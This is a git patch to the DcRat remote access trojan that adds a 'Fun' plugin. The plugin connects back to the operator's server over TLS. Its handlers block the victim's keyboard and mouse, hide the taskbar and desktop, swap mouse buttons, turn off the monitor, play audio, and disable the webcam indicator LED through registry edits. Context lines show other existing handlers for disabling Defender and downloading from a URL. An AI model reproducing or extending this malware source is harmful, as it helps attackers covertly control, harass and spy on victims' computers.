From f63e2e1b940caaa5e62effb7ec6f785b48e7e210 Mon Sep 17 00:00:00 2001 From: qwqdanchun <287182701@qq.com> Date: Thu, 6 May 2021 05:08:05 +0800 Subject: [PATCH] Add some fun function --- DcRat.sln | 11 + Plugin/Extra/Extra/Extra.csproj | 2 - Plugin/Extra/Extra/Handler/HandleOpenCD.cs | 24 - Plugin/Extra/Extra/Packet.cs | 18 - Plugin/Fun/Fun.sln | 25 + Plugin/Fun/Fun/Connection.cs | 228 +++ Plugin/Fun/Fun/Fun.csproj | 89 ++ .../Fun}/Handler/HandleBlankScreen.cs | 0 Plugin/Fun/Fun/Handler/HandleBlockInput.cs | 31 + Plugin/Fun/Fun/Handler/HandleClock.cs | 45 + Plugin/Fun/Fun/Handler/HandleDesktop.cs | 93 ++ Plugin/Fun/Fun/Handler/HandleHoldMouse.cs | 26 + Plugin/Fun/Fun/Handler/HandleMonitor.cs | 26 + Plugin/Fun/Fun/Handler/HandleMouseButton.cs | 39 + Plugin/Fun/Fun/Handler/HandleOpenCD.cs | 24 + Plugin/Fun/Fun/Handler/HandlePlayAudio.cs | 39 + Plugin/Fun/Fun/Handler/HandleTaskbar.cs | 92 ++ Plugin/Fun/Fun/Handler/HandleWebcamLight.cs | 95 ++ Plugin/Fun/Fun/Handler/Native.cs | 101 ++ Plugin/Fun/Fun/ILMerge.props | 67 + Plugin/Fun/Fun/ILMergeOrder.txt | 4 + Plugin/Fun/Fun/Packet.cs | 152 ++ Plugin/Fun/Fun/Plugin.cs | 28 + Plugin/Fun/Fun/Properties/AssemblyInfo.cs | 36 + Plugin/Fun/Fun/packages.config | 5 + Server/Forms/Form1.Designer.cs | 96 +- Server/Forms/Form1.cs | 112 +- Server/Forms/FormFun.Designer.cs | 506 +++++++ Server/Forms/FormFun.cs | 199 +++ Server/Forms/FormFun.resx | 1256 +++++++++++++++++ Server/Forms/FormRegistryEditor.Designer.cs | 1 + Server/Forms/FormRegistryEditor.cs | 8 + Server/Forms/FormRegistryEditor.resx | 4 +- Server/Handle Packet/HandleFun.cs | 30 + Server/Handle Packet/Packet.cs | 6 + Server/Server.csproj | 10 + 36 files changed, 3339 insertions(+), 189 deletions(-) delete mode 100644 Plugin/Extra/Extra/Handler/HandleOpenCD.cs create mode 100644 Plugin/Fun/Fun.sln create mode 100644 Plugin/Fun/Fun/Connection.cs create mode 100644 Plugin/Fun/Fun/Fun.csproj rename Plugin/{Extra/Extra => Fun/Fun}/Handler/HandleBlankScreen.cs (100%) create mode 100644 Plugin/Fun/Fun/Handler/HandleBlockInput.cs create mode 100644 Plugin/Fun/Fun/Handler/HandleClock.cs create mode 100644 Plugin/Fun/Fun/Handler/HandleDesktop.cs create mode 100644 Plugin/Fun/Fun/Handler/HandleHoldMouse.cs create mode 100644 Plugin/Fun/Fun/Handler/HandleMonitor.cs create mode 100644 Plugin/Fun/Fun/Handler/HandleMouseButton.cs create mode 100644 Plugin/Fun/Fun/Handler/HandleOpenCD.cs create mode 100644 Plugin/Fun/Fun/Handler/HandlePlayAudio.cs create mode 100644 Plugin/Fun/Fun/Handler/HandleTaskbar.cs create mode 100644 Plugin/Fun/Fun/Handler/HandleWebcamLight.cs create mode 100644 Plugin/Fun/Fun/Handler/Native.cs create mode 100644 Plugin/Fun/Fun/ILMerge.props create mode 100644 Plugin/Fun/Fun/ILMergeOrder.txt create mode 100644 Plugin/Fun/Fun/Packet.cs create mode 100644 Plugin/Fun/Fun/Plugin.cs create mode 100644 Plugin/Fun/Fun/Properties/AssemblyInfo.cs create mode 100644 Plugin/Fun/Fun/packages.config create mode 100644 Server/Forms/FormFun.Designer.cs create mode 100644 Server/Forms/FormFun.cs create mode 100644 Server/Forms/FormFun.resx create mode 100644 Server/Handle Packet/HandleFun.cs diff --git a/DcRat.sln b/DcRat.sln index 970a4fe..9fed002 100644 --- a/DcRat.sln +++ b/DcRat.sln @@ -51,6 +51,8 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Netstat", "Plugin\Netstat\N EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Regedit", "Plugin\Regedit\Regedit\Regedit.csproj", "{AB6CDF36-F336-4F14-8D69-3C190B7DEC65}" EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Fun", "Plugin\Fun\Fun\Fun.csproj", "{8BF244EB-0CA3-403E-A076-F1D77731A728}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -243,6 +245,14 @@ Global {AB6CDF36-F336-4F14-8D69-3C190B7DEC65}.Release|Any CPU.Build.0 = Release|Any CPU {AB6CDF36-F336-4F14-8D69-3C190B7DEC65}.Release|x86.ActiveCfg = Release|Any CPU {AB6CDF36-F336-4F14-8D69-3C190B7DEC65}.Release|x86.Build.0 = Release|Any CPU + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|x86.ActiveCfg = Debug|Any CPU + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|x86.Build.0 = Debug|Any CPU + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|Any CPU.Build.0 = Release|Any CPU + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|x86.ActiveCfg = Release|Any CPU + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|x86.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE @@ -268,6 +278,7 @@ Global {5D01A326-0357-4C3F-A196-3B8B866C9613} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} {EFFE3048-E904-48FD-B8C0-290E8E9290FB} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} {AB6CDF36-F336-4F14-8D69-3C190B7DEC65} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} + {8BF244EB-0CA3-403E-A076-F1D77731A728} = {0DE8DA5D-061D-4649-8A56-48729CF1F789} EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {1C926148-C492-48B3-8F82-7EBB235A9866} diff --git a/Plugin/Extra/Extra/Extra.csproj b/Plugin/Extra/Extra/Extra.csproj index 46c98ce..754ba7e 100644 --- a/Plugin/Extra/Extra/Extra.csproj +++ b/Plugin/Extra/Extra/Extra.csproj @@ -49,9 +49,7 @@ - - diff --git a/Plugin/Extra/Extra/Handler/HandleOpenCD.cs b/Plugin/Extra/Extra/Handler/HandleOpenCD.cs deleted file mode 100644 index 480945a..0000000 --- a/Plugin/Extra/Extra/Handler/HandleOpenCD.cs +++ /dev/null @@ -1,24 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Linq; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.Text; - -namespace Plugin.Handler -{ - class HandleOpenCD - { - [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)] - protected static extern int mciSendString(string lpstrCommand, - StringBuilder lpstrReturnString, - int uReturnLength, - IntPtr hwndCallback); - public void Run() - { - mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); - } - } -} diff --git a/Plugin/Extra/Extra/Packet.cs b/Plugin/Extra/Extra/Packet.cs index 26848ed..979a527 100644 --- a/Plugin/Extra/Extra/Packet.cs +++ b/Plugin/Extra/Extra/Packet.cs @@ -47,18 +47,6 @@ namespace Plugin break; } - case "blankscreen+": - { - new HandleBlankScreen().Run(); - break; - } - - case "blankscreen-": - { - new HandleBlankScreen().Stop(); - break; - } - case "disableDefedner": { new HandleDisableDefender().Run(); @@ -71,12 +59,6 @@ namespace Plugin break; } - case "openCD": - { - new HandleOpenCD().Run(); - break; - } - case "downloadFromUrl": { new HandleDownloadFromUrl().Start(unpack_msgpack.ForcePathObject("url").AsString); diff --git a/Plugin/Fun/Fun.sln b/Plugin/Fun/Fun.sln new file mode 100644 index 0000000..5a00ddb --- /dev/null +++ b/Plugin/Fun/Fun.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31025.194 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Fun", "Fun\Fun.csproj", "{8BF244EB-0CA3-403E-A076-F1D77731A728}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8BF244EB-0CA3-403E-A076-F1D77731A728}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {0FF38EE7-8F2A-4F1B-B780-EB87E3048A48} + EndGlobalSection +EndGlobal diff --git a/Plugin/Fun/Fun/Connection.cs b/Plugin/Fun/Fun/Connection.cs new file mode 100644 index 0000000..d2dada1 --- /dev/null +++ b/Plugin/Fun/Fun/Connection.cs @@ -0,0 +1,228 @@ +using MessagePackLib.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } + private static Timer Tick { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient(byte[] packet) + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "fun"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + Connection.Send(msgpack.Encode2Bytes()); + //Packet.Read(packet); + }).Start(); + //new Thread(() => + //{Packet.Read(packet); + //}).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + GC.Collect(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) + { + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) + { + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize > 0) + { + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0) + { + IsConnected = false; + return; + } + Offset += rc; + HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } + } + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } + } + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + Debug.WriteLine("send chunks"); + using (MemoryStream memoryStream = new MemoryStream(msg)) + { + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) + { + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } + } + } + else + { + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/Plugin/Fun/Fun/Fun.csproj b/Plugin/Fun/Fun/Fun.csproj new file mode 100644 index 0000000..015b065 --- /dev/null +++ b/Plugin/Fun/Fun/Fun.csproj @@ -0,0 +1,89 @@ + + + + + + + Debug + AnyCPU + {8BF244EB-0CA3-403E-A076-F1D77731A728} + Library + Properties + Fun + Fun + v4.0 + 512 + true + + + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + pdbonly + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + {dc199d9e-cf10-41dd-bbcd-98e71ba8679d} + MessagePackLib + + + + + + + + + + + + + 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。 + + + + + + + \ No newline at end of file diff --git a/Plugin/Extra/Extra/Handler/HandleBlankScreen.cs b/Plugin/Fun/Fun/Handler/HandleBlankScreen.cs similarity index 100% rename from Plugin/Extra/Extra/Handler/HandleBlankScreen.cs rename to Plugin/Fun/Fun/Handler/HandleBlankScreen.cs diff --git a/Plugin/Fun/Fun/Handler/HandleBlockInput.cs b/Plugin/Fun/Fun/Handler/HandleBlockInput.cs new file mode 100644 index 0000000..2513c51 --- /dev/null +++ b/Plugin/Fun/Fun/Handler/HandleBlockInput.cs @@ -0,0 +1,31 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; +using System.Threading; + +namespace Plugin.Handler +{ + class HandleBlockInput + { + public void Block(string time) + { + Native.BlockInput(true); + try + { + Thread.Sleep(TimeSpan.FromSeconds(int.Parse(time))); + } + catch + { + } + finally + { + Native.BlockInput(false); + } + } + } +} diff --git a/Plugin/Fun/Fun/Handler/HandleClock.cs b/Plugin/Fun/Fun/Handler/HandleClock.cs new file mode 100644 index 0000000..9d278bb --- /dev/null +++ b/Plugin/Fun/Fun/Handler/HandleClock.cs @@ -0,0 +1,45 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + + +namespace Plugin.Handler +{ + public class HandleClock + { + public void Show() + { + try + { + SetClockVisibility(true); + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + } + + public void Hide() + { + try + { + SetClockVisibility(false); + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + } + public static void SetClockVisibility(bool visible) + { + var hWnd = Native.GetDlgItem(Native.FindWindow("Shell_TrayWnd", null), 0x12F); + hWnd = Native.GetDlgItem(hWnd, 0x12F); + Native.ShowWindow(hWnd, visible ? ShowWindowCommands.Show : ShowWindowCommands.Hide); + } + } + + +} \ No newline at end of file diff --git a/Plugin/Fun/Fun/Handler/HandleDesktop.cs b/Plugin/Fun/Fun/Handler/HandleDesktop.cs new file mode 100644 index 0000000..90bb421 --- /dev/null +++ b/Plugin/Fun/Fun/Handler/HandleDesktop.cs @@ -0,0 +1,93 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + + +namespace Plugin.Handler +{ + public class HandleDesktop + { + public void Show() + { + try + { + SetDesktopVisibility(true); + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + } + + public void Hide() + { + try + { + SetDesktopVisibility(false); + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + } + public static void SetDesktopVisibility(bool visible) + { + var hWnd = GetDesktopWindow(DesktopWindow.ProgMan); + Native.ShowWindow(hWnd, visible ? ShowWindowCommands.Show : ShowWindowCommands.Hide); + } + public enum DesktopWindow + { + ProgMan, + SHELLDLL_DefViewParent, + SHELLDLL_DefView, + SysListView32 + } + public static IntPtr GetDesktopWindow(DesktopWindow desktopWindow) + { + IntPtr progMan = Native.GetShellWindow(); + IntPtr shelldllDefViewParent = progMan; + IntPtr shelldllDefView = Native.FindWindowEx(progMan, IntPtr.Zero, "SHELLDLL_DefView", null); + IntPtr sysListView32 = Native.FindWindowEx(shelldllDefView, IntPtr.Zero, "SysListView32", + "FolderView"); + + if (shelldllDefView == IntPtr.Zero) + { + Native.EnumWindows((hwnd, lParam) => + { + const int maxChars = 256; + StringBuilder className = new StringBuilder(maxChars); + + if (Native.GetClassName(hwnd, className, maxChars) > 0 && className.ToString() == "WorkerW") + { + IntPtr child = Native.FindWindowEx(hwnd, IntPtr.Zero, "SHELLDLL_DefView", null); + if (child != IntPtr.Zero) + { + shelldllDefViewParent = hwnd; + shelldllDefView = child; + sysListView32 = Native.FindWindowEx(child, IntPtr.Zero, "SysListView32", "FolderView"); + return false; + } + } + return true; + }, IntPtr.Zero); + } + + switch (desktopWindow) + { + case DesktopWindow.ProgMan: + return progMan; + case DesktopWindow.SHELLDLL_DefViewParent: + return shelldllDefViewParent; + case DesktopWindow.SHELLDLL_DefView: + return shelldllDefView; + case DesktopWindow.SysListView32: + return sysListView32; + default: + return IntPtr.Zero; + } + } + } +} \ No newline at end of file diff --git a/Plugin/Fun/Fun/Handler/HandleHoldMouse.cs b/Plugin/Fun/Fun/Handler/HandleHoldMouse.cs new file mode 100644 index 0000000..b576df8 --- /dev/null +++ b/Plugin/Fun/Fun/Handler/HandleHoldMouse.cs @@ -0,0 +1,26 @@ +using System; +using System.Windows.Forms; +using Timer = System.Timers.Timer; + +namespace Plugin.Handler +{ + class HandleHoldMouse + { + public void Hold(string time) + { + var currentCursorPosition = Cursor.Position; + var timer = new Timer { Interval = 5 }; + var currentTime = DateTime.UtcNow; + timer.Elapsed += (sender, args) => + { + Cursor.Position = currentCursorPosition; + if ((DateTime.UtcNow - currentTime).TotalMilliseconds > int.Parse(time)*1000) + { + timer.Stop(); + timer.Dispose(); + } + }; + timer.Start(); + } + } +} diff --git a/Plugin/Fun/Fun/Handler/HandleMonitor.cs b/Plugin/Fun/Fun/Handler/HandleMonitor.cs new file mode 100644 index 0000000..855b1c2 --- /dev/null +++ b/Plugin/Fun/Fun/Handler/HandleMonitor.cs @@ -0,0 +1,26 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; + +namespace Plugin.Handler +{ + class HandleMonitor + { + // ReSharper disable InconsistentNaming + private const int HWND_BROADCAST = 0xFFFF; + private const int WM_SYSCOMMAND = 0x0112; + private const int SC_MONITORPOWER = 0xF170; + // ReSharper restore InconsistentNaming + + public void TurnOff() + { + Native.SendMessage(new IntPtr(HWND_BROADCAST), WM_SYSCOMMAND, new IntPtr(SC_MONITORPOWER), + new IntPtr(2)); + } + } +} diff --git a/Plugin/Fun/Fun/Handler/HandleMouseButton.cs b/Plugin/Fun/Fun/Handler/HandleMouseButton.cs new file mode 100644 index 0000000..7c3fe90 --- /dev/null +++ b/Plugin/Fun/Fun/Handler/HandleMouseButton.cs @@ -0,0 +1,39 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + + +namespace Plugin.Handler +{ + public class HandleMouseButton + { + public void RestoreMouseButtons() + { + try + { + Native.SwapMouseButton(0); + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + } + + public void SwapMouseButtons() + { + try + { + Native.SwapMouseButton(1); + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + } + } + + +} \ No newline at end of file diff --git a/Plugin/Fun/Fun/Handler/HandleOpenCD.cs b/Plugin/Fun/Fun/Handler/HandleOpenCD.cs new file mode 100644 index 0000000..5b81b74 --- /dev/null +++ b/Plugin/Fun/Fun/Handler/HandleOpenCD.cs @@ -0,0 +1,24 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; + +namespace Plugin.Handler +{ + class HandleOpenCD + { + public void Show() + { + Native.mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); + } + + public void Hide() + { + Native.mciSendString("set CDAudio door closed", null, 0, IntPtr.Zero); + } + } +} diff --git a/Plugin/Fun/Fun/Handler/HandlePlayAudio.cs b/Plugin/Fun/Fun/Handler/HandlePlayAudio.cs new file mode 100644 index 0000000..05d46d2 --- /dev/null +++ b/Plugin/Fun/Fun/Handler/HandlePlayAudio.cs @@ -0,0 +1,39 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Media; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; + +namespace Plugin.Handler +{ + class HandlePlayAudio + { + public void Play(byte[] wavfile) + { + string fullPath = Path.Combine(Path.GetTempPath(), GetRandomString(6) + ".wav"); + + using (FileStream fs = new FileStream(fullPath, FileMode.Create)) + fs.Write(wavfile, 0, wavfile.Length); + + + SoundPlayer sp = new SoundPlayer(fullPath); + sp.Load(); + sp.Play(); + } + private const string Alphabet = "abcdefghijklmnopqrstuvwxyz"; + public static Random Random = new Random(); + public static string GetRandomString(int length) + { + StringBuilder randomName = new StringBuilder(length); + for (int i = 0; i < length; i++) + randomName.Append(Alphabet[Random.Next(Alphabet.Length)]); + + return randomName.ToString(); + } + } +} diff --git a/Plugin/Fun/Fun/Handler/HandleTaskbar.cs b/Plugin/Fun/Fun/Handler/HandleTaskbar.cs new file mode 100644 index 0000000..af38cda --- /dev/null +++ b/Plugin/Fun/Fun/Handler/HandleTaskbar.cs @@ -0,0 +1,92 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + + +namespace Plugin.Handler +{ + public class HandleTaskbar + { + private const string VistaStartMenuCaption = "Start"; + private static IntPtr vistaStartMenuWnd = IntPtr.Zero; + + + public void Show() + { + try + { + SetVisibility(true); + } + catch(Exception ex) + { + Packet.Error(ex.Message); + } + } + + public void Hide() + { + try + { + SetVisibility(false); + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + } + + private static void SetVisibility(bool show) + { + IntPtr taskBarWnd = Native.FindWindow("Shell_TrayWnd", null); + + IntPtr startWnd = Native.FindWindowEx(IntPtr.Zero, IntPtr.Zero, (IntPtr)0xC017, "Start"); + + + if (startWnd == IntPtr.Zero) + { + startWnd = Native.FindWindow("Button", null); + + if (startWnd == IntPtr.Zero) + { + startWnd = GetVistaStartMenuWnd(taskBarWnd); + } + } + + Native.ShowWindow(taskBarWnd, show ? ShowWindowCommands.Show : ShowWindowCommands.Hide); + Native.ShowWindow(startWnd, show ? ShowWindowCommands.Show : ShowWindowCommands.Hide); + } + + private static IntPtr GetVistaStartMenuWnd(IntPtr taskBarWnd) + { + uint procId; + Native.GetWindowThreadProcessId(taskBarWnd, out procId); + + Process p = Process.GetProcessById((int)procId); + + foreach (ProcessThread t in p.Threads) + { + Native.EnumThreadWindows(t.Id, MyEnumThreadWindowsProc, IntPtr.Zero); + } + + return vistaStartMenuWnd; + } + private static bool MyEnumThreadWindowsProc(IntPtr hWnd, IntPtr lParam) + { + StringBuilder buffer = new StringBuilder(256); + if (Native.GetWindowText(hWnd, buffer, buffer.Capacity) > 0) + { + if (buffer.ToString() == VistaStartMenuCaption) + { + vistaStartMenuWnd = hWnd; + return false; + } + } + return true; + } + } + + +} \ No newline at end of file diff --git a/Plugin/Fun/Fun/Handler/HandleWebcamLight.cs b/Plugin/Fun/Fun/Handler/HandleWebcamLight.cs new file mode 100644 index 0000000..8673fb4 --- /dev/null +++ b/Plugin/Fun/Fun/Handler/HandleWebcamLight.cs @@ -0,0 +1,95 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; +using System.Text.RegularExpressions; + +namespace Plugin.Handler +{ + class HandleWebcamLight + { + public void Disable() + { + try + { + using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Class\\{6BDD1FC6-810F-11D0-BEC7-08002BE2092F}")) + { + foreach (string name in from x in registryKey.GetSubKeyNames() + where Regex.IsMatch(x, "[0-9]{4}") + select x) + { + using (RegistryKey registryKey2 = registryKey.OpenSubKey(name)) + { + registryKey2.SetValue("", 8, RegistryValueKind.DWord); + } + } + } + } + catch (Exception) + { + } + try + { + using (RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}")) + { + foreach (string name2 in from x in registryKey3.GetSubKeyNames() + where Regex.IsMatch(x, "[0-9]{4}") + select x) + { + using (RegistryKey registryKey4 = registryKey3.OpenSubKey(name2)) + { + registryKey4.SetValue("LedMode", 1, RegistryValueKind.DWord); + } + } + } + } + catch (Exception) + { + } + } + + public void Enable() + { + try + { + using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Class\\{6BDD1FC6-810F-11D0-BEC7-08002BE2092F}")) + { + foreach (string name in from x in registryKey.GetSubKeyNames() + where Regex.IsMatch(x, "[0-9]{4}") + select x) + { + using (RegistryKey registryKey2 = registryKey.OpenSubKey(name)) + { + registryKey2.SetValue("", 0, RegistryValueKind.DWord); + } + } + } + } + catch (Exception) + { + } + try + { + using (RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}")) + { + foreach (string name2 in from x in registryKey3.GetSubKeyNames() + where Regex.IsMatch(x, "[0-9]{4}") + select x) + { + using (RegistryKey registryKey4 = registryKey3.OpenSubKey(name2)) + { + registryKey4.SetValue("LedMode", 0, RegistryValueKind.DWord); + } + } + } + } + catch (Exception) + { + } + } + } +} diff --git a/Plugin/Fun/Fun/Handler/Native.cs b/Plugin/Fun/Fun/Handler/Native.cs new file mode 100644 index 0000000..213ea08 --- /dev/null +++ b/Plugin/Fun/Fun/Handler/Native.cs @@ -0,0 +1,101 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + + +namespace Plugin.Handler +{ + public class Native + { + public delegate bool EnumThreadProc(IntPtr hwnd, IntPtr lParam); + public delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); + + + [DllImport("user32.dll")] + public static extern IntPtr FindWindow(string className, string windowText); + + [DllImport("user32.dll")] + public static extern IntPtr FindWindowEx(IntPtr parentHwnd, IntPtr childAfterHwnd, IntPtr className, + string windowText); + + [DllImport("user32.dll", SetLastError = true)] + public static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); + + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool ShowWindow(IntPtr hWnd, ShowWindowCommands nCmdShow); + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + public static extern bool EnumThreadWindows(int threadId, EnumThreadProc pfnEnum, IntPtr lParam); + + [DllImport("user32.dll")] + public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); + + 